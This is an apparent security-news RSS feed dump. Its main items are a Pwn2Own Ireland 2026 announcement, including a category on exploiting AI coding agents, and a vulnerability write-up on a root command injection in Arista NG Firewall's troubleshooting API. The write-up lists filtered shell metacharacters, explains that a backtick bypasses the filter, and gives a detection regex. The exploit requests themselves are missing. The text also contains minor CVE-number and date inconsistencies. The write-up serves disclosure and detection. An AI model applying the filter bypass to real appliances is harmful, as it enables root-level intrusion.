<![CDATA[Team IT Security - 📰 Alle Kategorien]]> de-DE Sat, 01 Aug 2026 08:01:19 +0200 Sat, 01 Aug 2026 08:01:19 +0200 15 2026 Team IT Security lakandor@tsecurity.de (Horus Sirius) lakandor@tsecurity.de (Horus Sirius) IT Security Cybersecurity Nachrichten Team IT Security RSS Generator v2.0 https://tsecurity.de/favicon.ico <![CDATA[Team IT Security - 📰 Alle Kategorien]]> <![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]> https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/ https://tsecurity.de/de/3694559/hacking/pwn2own-ireland-2026-new-targets-and-categories/ Sat, 25 Jul 2026 19:02:51 +0200 đŸ•”ïž Hacking tsecurity.de If you just want to read the rules, you can find them here.

 

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:


-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

Back to top

Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

Back to top

The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

Back to top

AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such
uh
enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

Back to top

AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

 

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

]]> <![CDATA[CVE-2025-6978: Arbitrary Code Execution in the Arista NG Firewall]]> https://tsecurity.de/de/3694475/it-security-nachrichten/cve-2025-6978-arbitrary-code-execution-in-the-arista-ng-firewall/ https://tsecurity.de/de/3694475/it-security-nachrichten/cve-2025-6978-arbitrary-code-execution-in-the-arista-ng-firewall/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de In this excerpt of a TrendAI Research Services vulnerability report, Jonathan Lein and Simon Humbert of the TrendAI Research team detail a recently patched command injection vulnerability in the Arista NG Firewall. This bug was originally discovered by Gereon Huppertz and reported through the TrendAI Zero Day Initiative (ZDI) program. Successful exploitation could result in arbitrary command execution under the security context of the root user. The following is a portion of their write-up covering CVE-2025-6798, with a few minimal modifications.

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data in the diagnostics component.

A remote, authenticated attacker could exploit this vulnerability by sending crafted requests to the target server. Successful exploitation could result in arbitrary command execution under the security context of the root user.

The Vulnerability

Arista NG Firewall is an open-source firewall appliance. It was originally developed under the name Untangle. Some features of Arista Firewall include spam blocking, bandwidth control, and IPS, etc. NG Firewall can be managed through a web user interface, or a JSON-RPC API using HTTP.

HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. An HTTP request consists of a request line, various headers, an empty line, and an optional message body

where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF). SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI, or in the message-body, depending on the Method used and Content-Type header. For example, a simple HTTP request passing a parameter named “param” with value “1”, using the GET method might look like:

A corresponding HTTP request using the POST method might look like:

If there is more than one parameter/value pair, they are encoded as '&'-delimited name=value pairs:

          var1=value1&var2=value2&var3=value3...

The component relevant to this report is the JSON-RPC endpoint. A JSON object has the following syntax:

‱            An object is enclosed in curly braces {}.
‱            An object consists of zero or more items delimited by a comma (",") character.
‱            An item consists of a key and a value. A key is delimited from its value by a colon (":") character.
‱            A key must be a string (enclosed in quotes).
‱            A value must be a valid type. Valid types include string, number, JSON object, array, Boolean, or null.
‱            An array is an object enclosed in square braces []. An array consists of zero or more string, number, JSON object, array, Boolean or null type-objects delimited by a comma (",") character.

An example JSON object is as follows:

The following is an example of a JSON-RPC request to the runTroubleshooting() method that is relevant to this report:

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data that is used in a command line. The runTroubleshooting() method of the class NetworkManagerImpl will be used to handle JSON-RPC requests to the runTroubleshooting method. The command parameter passed to the method will be the first element in the params JSON array in the body of the request. This value must be one of the strings in the TroubleshootingCommands enum defined in the NetworkManager class. The second parameter of the method will contain additional arguments passed to the JSON-RPC call.

The method will first iterate through each of the additional arguments and combine each key value pair into a single string, separated by a "=" character that will later be used as an environment variable. Next, a switch case statement is used to ensure the provided command is one of the values in TroubleshootingCommands. Each command value will be processed using the same code.

The method will next iterate through each environment variable, and inspect it for the following common command injection strings:

          ; & | > $(

If any are found, the request will be rejected, and an exception is thrown. If each environment variable is valid, the method execEvil() is called to create and execute a command line for the network-troubleshooting.sh script, with the environment variables passed as a parameter. The execEvil() method in turn will call Runtime.getRuntime().exec() to run the script, with the second parameter passing the environment variables that will be used by the script. Each command value will have a function in network-troubleshooting.sh, such as run_dns() for the “DNS” command value. Each function will follow a similar structure, by creating a CMD string using the environment variables passed by exec() and then calling eval to execute it.

However, the values of the parameters passed to the runTroubleshooting JSON-RPC method are not completely sanitized before it is used in the command line. While the parameters passed to the endpoint are inspected for some shell metacharacters, the list is incomplete. For example, the backtick character (`) is not included in the check and may be used to inject a command.

For example:

The example above will write and execute a python script on the server to achieve code execution without using any restricted characters.

A remote, authenticated attacker could exploit this vulnerability by sending a JSON-RPC request to the runTroubleshooting method containing a crafted “HOST” or “URL” parameter containing shell metacharacters not present in the runTroubleshooting() check. Successful exploitation in the worst case will result in arbitrary command execution under the security context of the root user.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following ports:
          - HTTP, over port 80/TCP
          - HTTPS, over port 443/TCP

Traffic to Arista NG Firewall may be encrypted and must be decrypted prior to applying this guidance.

The detection device must search for HTTP POST requests made to the request-URI /admin/JSON-RPC. If found, the body of the request must be parsed as JSON. The JSON object in the body must be inspected for a method key, and its value must be inspected to contain the substring runTroubleshooting. If found, the object must also be inspected for the JSON key "params", with a value containing a JSON array. The first entry in the JSON array must be inspected for any of the following strings:

If found, the second entry in the array must be inspected for a JSON object, and inspected for any of the following keys:

If either is found, the corresponding value to the key must be inspected for any of the following command injection characters:

If found, the traffic should be treated as suspicious; an attack exploiting this vulnerability is likely underway.

The following regular expression can be applied to find malicious requests:

          /\x22(HOST|URL)\x22\s*:\s*\x22(?:[^\x22\\]|\\.)*?[\x60\x27\x24\x3c]/

Notes:

‱ String matching on the request-URI and all JSON strings should be done in a case sensitive manner.
‱ The JSON strings may be encoded and must be decoded prior to applying this guidance.
‱ The request-URI may be URL-encoded and must be decoded before applying this guidance.

Conclusion

This vulnerability has been addressed by Arista with their Security Advisory 0123. They note that the Arista Edge Threat Management - Arista Next Generation Firewall (Formerly Untangle) is affected by this bug, but other product versions are not. They also state the following mitigation can be applied:

Do not allow non-authorized administrative access or access to the administrative browser.

However, the more appropriate action is to apply the provided vendor security patch by upgrading to version 17.4 or higher.

Special thanks to Jonathan Lein and Simon Humbert of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

]]> <![CDATA[Vulnerability Scanning with OpenVAS 9 part 2: Vulnerability Scanning]]> https://tsecurity.de/de/3694244/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-2-vulnerability-scanning/ https://tsecurity.de/de/3694244/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-2-vulnerability-scanning/ Sat, 25 Jul 2026 18:52:24 +0200 📰 IT Security Nachrichten tsecurity.de Is the previous tutorial Vulnerability Scanning with OpenVAS 9.0 part 1 we’ve gone through the installation process of OpenVAS on Kali Linux and the installation of the virtual appliance. In this tutorial we will learn how to configure and run a vulnerability scan. For demonstration purposes we’ve also installed a virtual machine with Metasploitable 2 [...]

The post Vulnerability Scanning with OpenVAS 9 part 2: Vulnerability Scanning appeared first on Hacking Tutorials.

]]> <![CDATA[CVE-2019-19781: Citrix ADC RCE vulnerability]]> https://tsecurity.de/de/3694241/it-security-nachrichten/cve-2019-19781-citrix-adc-rce-vulnerability/ https://tsecurity.de/de/3694241/it-security-nachrichten/cve-2019-19781-citrix-adc-rce-vulnerability/ Sat, 25 Jul 2026 18:52:23 +0200 📰 IT Security Nachrichten tsecurity.de A week before the 2019 holidays Citrix announced that an authentication bypass vulnerability was discovered in multiple Citrix products. The affected products are the Citrix Application Delivery Controller (formerly known as NetScaler AD), Citrix Gateway NetScaler ADC (formerly known as NetScaler Gateway), and Citrix SD-WAN WANOP appliance. Exploiting the vulnerability could allow an unauthenticated attacker [...]

The post CVE-2019-19781: Citrix ADC RCE vulnerability appeared first on Hacking Tutorials.

]]> <![CDATA[BOFH: This printer engineer knows every trick in the book]]> https://tsecurity.de/de/3693386/it-nachrichten/bofh-this-printer-engineer-knows-every-trick-in-the-book/ https://tsecurity.de/de/3693386/it-nachrichten/bofh-this-printer-engineer-knows-every-trick-in-the-book/ Sat, 25 Jul 2026 09:24:56 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[CVE-2022-40230 | IBM MQ Appliance 9.2 CD/9.2 LTS/9.3 CD/LTS 9.3 session expiration (EUVD-2022-43528 / XFDB-235532)]]> https://tsecurity.de/de/3692534/sicherheitsluecken/cve-2022-40230-ibm-mq-appliance-92-cd92-lts93-cdlts-93-session-expiration-euvd-2022-43528-xfdb-235532/ https://tsecurity.de/de/3692534/sicherheitsluecken/cve-2022-40230-ibm-mq-appliance-92-cd92-lts93-cdlts-93-session-expiration-euvd-2022-43528-xfdb-235532/ Fri, 24 Jul 2026 23:15:55 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de IBM MQ Appliance 9.2 CD/9.2 LTS/9.3 CD/LTS 9.3 and classified as problematic. This affects an unknown function. Executing a manipulation can lead to session expiration. This vulnerability is tracked as CVE-2022-40230. The attack can be launched remotely. No exploit exists. It is suggested to upgrade the affected component.]]> <![CDATA[Last Call for Prime Day: Nab My Favorite 3D Printer for $100 Less, Plus Accessory and Consumables Deals]]> https://tsecurity.de/de/3692451/it-nachrichten/last-call-for-prime-day-nab-my-favorite-3d-printer-for-100-less-plus-accessory-and-consumables-deals/ https://tsecurity.de/de/3692451/it-nachrichten/last-call-for-prime-day-nab-my-favorite-3d-printer-for-100-less-plus-accessory-and-consumables-deals/ Fri, 24 Jul 2026 22:20:24 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Elegoo H1 HT review: This filament drybox finally fixes the biggest issue with the Centauri Carbon 2 3D printer — and feels like a sign that Elegoo's getting serious with its upgrades now]]> https://tsecurity.de/de/3691743/it-nachrichten/elegoo-h1-ht-review-this-filament-drybox-finally-fixes-the-biggest-issue-with-the-centauri-carbon-2-3d-printer-and-feels-like-a-sign-that-elegoos-getting-serious-with-its-upgrades-now/ https://tsecurity.de/de/3691743/it-nachrichten/elegoo-h1-ht-review-this-filament-drybox-finally-fixes-the-biggest-issue-with-the-centauri-carbon-2-3d-printer-and-feels-like-a-sign-that-elegoos-getting-serious-with-its-upgrades-now/ Fri, 24 Jul 2026 16:05:07 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Netto erhĂ€lt weltweit ersten Supermarkt aus dem 3D-Drucker]]> https://tsecurity.de/de/3691541/it-security-nachrichten/netto-erhaelt-weltweit-ersten-supermarkt-aus-dem-3d-drucker/ https://tsecurity.de/de/3691541/it-security-nachrichten/netto-erhaelt-weltweit-ersten-supermarkt-aus-dem-3d-drucker/ Fri, 24 Jul 2026 14:39:34 +0200 📰 IT Security Nachrichten tsecurity.de
Printing

Im Schwarzwald entsteht der weltweit erste Supermarkt aus dem 3D-Drucker.

Aleksej Keksel

In der beschaulichen Gemeinde Neubulach im Nordschwarzwald nÀhe Calw wird derzeit Bau- und Digitalgeschichte geschrieben. Denn hier findet eine Weltpremiere statt: Es entsteht der weltweit erste Supermarkt aus dem 3D-Betondrucker. Mieter wird der Discounter Netto.

Mit einer GrundflĂ€che von rund 1.700 Quadratmetern und einer gedruckten WandflĂ€che von ĂŒber 1.300 Quadratmetern setzt das Projekt neue MaßstĂ€be fĂŒr den industriellen Einsatz automatisierter Bauverfahren. Wo frĂŒher Maurer Stein auf Stein setzten, ziehen heute zwei mobile Instatiq P1 Roboter (Progress One) prĂ€zise ihre Bahnen.

Roboter statt Kelle und Mörtel

Die Maschinen spritzen den Beton Schicht fĂŒr Schicht ĂŒbereinander, bis WĂ€nde mit einer Höhe von bis zu sieben Metern entstehen. Dabei können die Roboter auf der Baustelle flexibel umgesetzt und neu positioniert werden. Das ermöglicht den Bau großflĂ€chiger Gewerbeimmobilien in Rekordzeit.

So wurde der gesamte Wandrohbau inklusive aller baulichen Schnittstellen in nur etwa vier Wochen realisiert. „Mit dem ersten gedruckten Supermarkt zeigen wir, dass 3D-Druck im realen Gewerbebau angekommen ist“, erklĂ€rt Markus Schilling von Instatiq. Gleichzeitig zeigt das Projekt, dass der 3D-Druck nicht lĂ€nger nur fĂŒr kleine Pilotprojekte oder WohnhĂ€user reserviert ist. FĂŒr Optimisten stellt er gar eine wirtschaftlich relevante Alternative fĂŒr den großflĂ€chigen Handel dar.

GrĂŒner Beton

WĂ€hrend die Druckroboter die Hauptarbeit an den WĂ€nden leisten, wird die Konstruktion durch konventionelle Bauteile wie StĂŒtzen und Ringbalken ergĂ€nzt. Diese Verzahnung von digitaler Bauvorbereitung und klassischem Rohbau war eine der Herausforderungen, die durch die Zusammenarbeit von Firmen wie Nelcon und der Köhler Bauunternehmung gemeistert wurde.

Printing

Schicht fĂŒr Schicht werden die WĂ€nde aus fast CO₂-neutralem Beton gedruckt.

Aleksej Keksel

Doch nicht nur die Technik ist revolutionĂ€r, sondern auch das Material. Zum ersten Mal wird bei einem solchen Großprojekt der Near-Zero-Zement evoZero von Heidelberg Materials eingesetzt. Dieser Zement basiert auf der sogenannten CCS-Technologie (Carbon Capture and Storage). Dabei wird das CO₂ direkt im Werk im norwegischen Brevik abgeschieden und anschließend dauerhaft im Meeresboden gespeichert.

Nachhaltiger Gewerbebau

Das Ergebnis ist ein 3D-Druckbeton, der signifikant weniger CO₂ verursacht, ohne dass die Rezeptur oder die technischen Eigenschaften – wie PumpfĂ€higkeit und FormstabilitĂ€t – verĂ€ndert wurden. Matthias Fischer von Heidelberg Materials betont denn auch: „Hier kommen zwei zukunftsweisende AnsĂ€tze unter realen Bedingungen zusammen: innovative Materialien und neue Bauverfahren.“

Hinter dem Projekt steht ein breites Partnernetzwerk. Bauherr ist die BĂ€ckerei Sehne, die das GebĂ€ude nach Fertigstellung an den LebensmittelhĂ€ndler Netto Marken-Discount vermieten wird. FĂŒr Netto ist die Filiale in Neubulach ein klares Bekenntnis zu Innovation und Ressourcenschonung. So heißt es bei dem Discounter: „Der Einsatz von 3D-Druck zeigt, wie sich innovative Technologien bereits heute effizient und nachhaltiger im Filialbau einsetzen lassen.“

Unter dem Strich ist der Supermarkt in Neubulach mehr als nur ein GebĂ€ude. Er ist schlicht ein Beweis dafĂŒr, dass automatisiertes, schnelles und nachhaltigeres Bauen keine Zukunftsmusik mehr ist. Mit rund 292 Kubikmetern Druckbeton ist das Projekt laut Instatiq derzeit das weltweit grĂ¶ĂŸte realisierte 3D-gedruckte GebĂ€ude.

]]> <![CDATA[USN-8595-2: Linux kernel (AWS) vulnerabilities]]> https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/ https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/ Fri, 24 Jul 2026 14:17:43 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8606-1: Linux kernel (Azure) vulnerabilities]]> https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/ https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/ Fri, 24 Jul 2026 14:17:41 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8607-1: Linux kernel (Azure CVM) vulnerabilities]]> https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/ https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/ Fri, 24 Jul 2026 14:17:40 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities]]> https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/ https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/ Fri, 24 Jul 2026 14:17:38 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8609-1: Linux kernel (Azure CVM) vulnerabilities]]> https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/ https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/ Fri, 24 Jul 2026 14:17:37 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8603-1: Linux kernel (Azure) vulnerabilities]]> https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/ https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/ Fri, 24 Jul 2026 13:02:31 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8595-1: Linux kernel (Oracle) vulnerabilities]]> https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/ https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/ Thu, 23 Jul 2026 10:20:43 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8596-1: Linux kernel (NVIDIA) vulnerabilities]]> https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/ https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/ Thu, 23 Jul 2026 10:20:28 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8574-2: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/ Thu, 23 Jul 2026 10:01:06 +0200 🐧 Unix Server tsecurity.de <![CDATA[iPhone Air 2 Release Date, Features, Camera, Battery and Everything We Know]]> https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/ https://tsecurity.de/de/3688250/ios-mac-os/iphone-air-2-release-date-features-camera-battery-and-everything-we-know/ Thu, 23 Jul 2026 09:13:24 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Intel Directed Package-Level Thermal Interrupts Slated For Linux 7.3]]> https://tsecurity.de/de/3687519/linux-tipps/intel-directed-package-level-thermal-interrupts-slated-for-linux-73/ https://tsecurity.de/de/3687519/linux-tipps/intel-directed-package-level-thermal-interrupts-slated-for-linux-73/ Wed, 22 Jul 2026 22:15:50 +0200 🐧 Linux Tipps tsecurity.de /u/hulk14
[link] [comments]]]> <![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]> https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ Wed, 22 Jul 2026 20:19:33 +0200 🔧 AI Nachrichten tsecurity.de

Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.

The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.

The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.

For regulated industries or restricted connectivity

Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.

These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.

The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.

In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.

Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”

The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.

Private AI behind the firewall

Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.

“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.

More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.

Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.

The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”

Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”

Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.

However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.

Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”

The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.

Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.

This article first appeared on CIO.

]]> <![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]> https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/ Wed, 22 Jul 2026 19:56:30 +0200 📰 IT Security Nachrichten tsecurity.de

Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.

The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.

The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.

For regulated industries or restricted connectivity

Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.

These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.

